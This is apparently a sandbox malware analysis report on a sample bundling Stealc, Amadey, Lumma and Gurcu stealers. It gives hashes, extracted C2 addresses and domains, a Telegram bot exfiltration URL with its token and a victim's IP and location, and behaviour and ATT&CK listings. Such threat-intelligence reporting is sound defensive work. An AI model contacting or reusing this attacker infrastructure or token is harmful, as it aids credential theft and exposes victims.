General
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Target
file.exe
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Size
1.7MB
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Sample
241204-lfbaba1pez
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MD5
1b850dd61dfbb0fb8782987f0b6f365c
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SHA1
a6d5c487ba7c8417ac4f2f6ab46a560f20ca404d
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SHA256
a5e020f3d85998f530607c7e83d229449befec6e9800c5ae6f9cdd76659da0ef
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SHA512
38da11e6e7e1c09d892cf79ee0c51a560f6caf7dc748c04200c5fb8dea3fad2b8f5d33041863bf4b9ee6e54b9dfaf57f823fd1c63c0147955952650b6e013c96
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SSDEEP
49152:73VNOgSGRS4msDkbB/ILDKaT8X/5/8DYIi5huJEfexQPt:JyeS4ms42H5TU/h8DYIiuE2xQPt
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20240903-en
Malware Config
Extracted
stealc
drum
http://185.215.113.206
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url_path
/c4becf79229cb002.php
Extracted
amadey
4.42
9c9aa5
http://185.215.113.43
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install_dir
abc3bc1985
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install_file
skotes.exe
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strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
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url_paths
/Zu7JuNko/index.php
Extracted
lumma
https://powerful-avoids.sbs
https://motion-treesz.sbs
https://disobey-curly.sbs
https://leg-sate-boat.sbs
https://story-tense-faz.sbs
https://blade-govern.sbs
https://occupy-blushi.sbs
https://frogs-severz.sbs
https://salve-windp.cyou
Extracted
gurcu
https://api.telegram.org/bot7912788699:AAGD1HW4P2288HKKYEhpShtetd37D8GqFZo/sendDocument?chat_id=7781867830&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Targets
-
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Target
file.exe
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Size
1.7MB
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MD5
1b850dd61dfbb0fb8782987f0b6f365c
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SHA1
a6d5c487ba7c8417ac4f2f6ab46a560f20ca404d
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SHA256
a5e020f3d85998f530607c7e83d229449befec6e9800c5ae6f9cdd76659da0ef
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SHA512
38da11e6e7e1c09d892cf79ee0c51a560f6caf7dc748c04200c5fb8dea3fad2b8f5d33041863bf4b9ee6e54b9dfaf57f823fd1c63c0147955952650b6e013c96
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SSDEEP
49152:73VNOgSGRS4msDkbB/ILDKaT8X/5/8DYIi5huJEfexQPt:JyeS4ms42H5TU/h8DYIiuE2xQPt
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Amadey family
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Gurcu family
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Lumma family
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Stealc family
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Enumerates VirtualBox registry keys
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Identifies VirtualBox via ACPI registry values (likely anti-VM)
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Downloads MZ/PE file
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Uses browser remote debugging
Can be used control the browser and steal sensitive information such as credentials and session cookies.
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Checks BIOS information in registry
BIOS information is often read in order to detect sandboxing environments.
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Checks computer location settings
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE
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Identifies Wine through registry keys
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
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Loads dropped DLL
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Unsecured Credentials: Credentials In Files
Steal credentials from unsecured files.
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Accesses cryptocurrency files/wallets, possible credential harvesting
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Adds Run key to start application
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Checks installed software on the system
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Legitimate hosting services abused for malware hosting/C2
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Looks up external IP address via web service
Uses a legitimate IP lookup service to find the infected system's external IP.
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AutoIT Executable
AutoIT scripts compiled to PE executables.
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Suspicious use of NtSetInformationThreadHideFromDebugger
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MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Modify Authentication Process
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Defense Evasion
Impair Defenses
2Disable or Modify Tools
2Modify Authentication Process
1Modify Registry
3Virtualization/Sandbox Evasion
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Modify Authentication Process
1Steal Web Session Cookie
1Unsecured Credentials
4Credentials In Files
4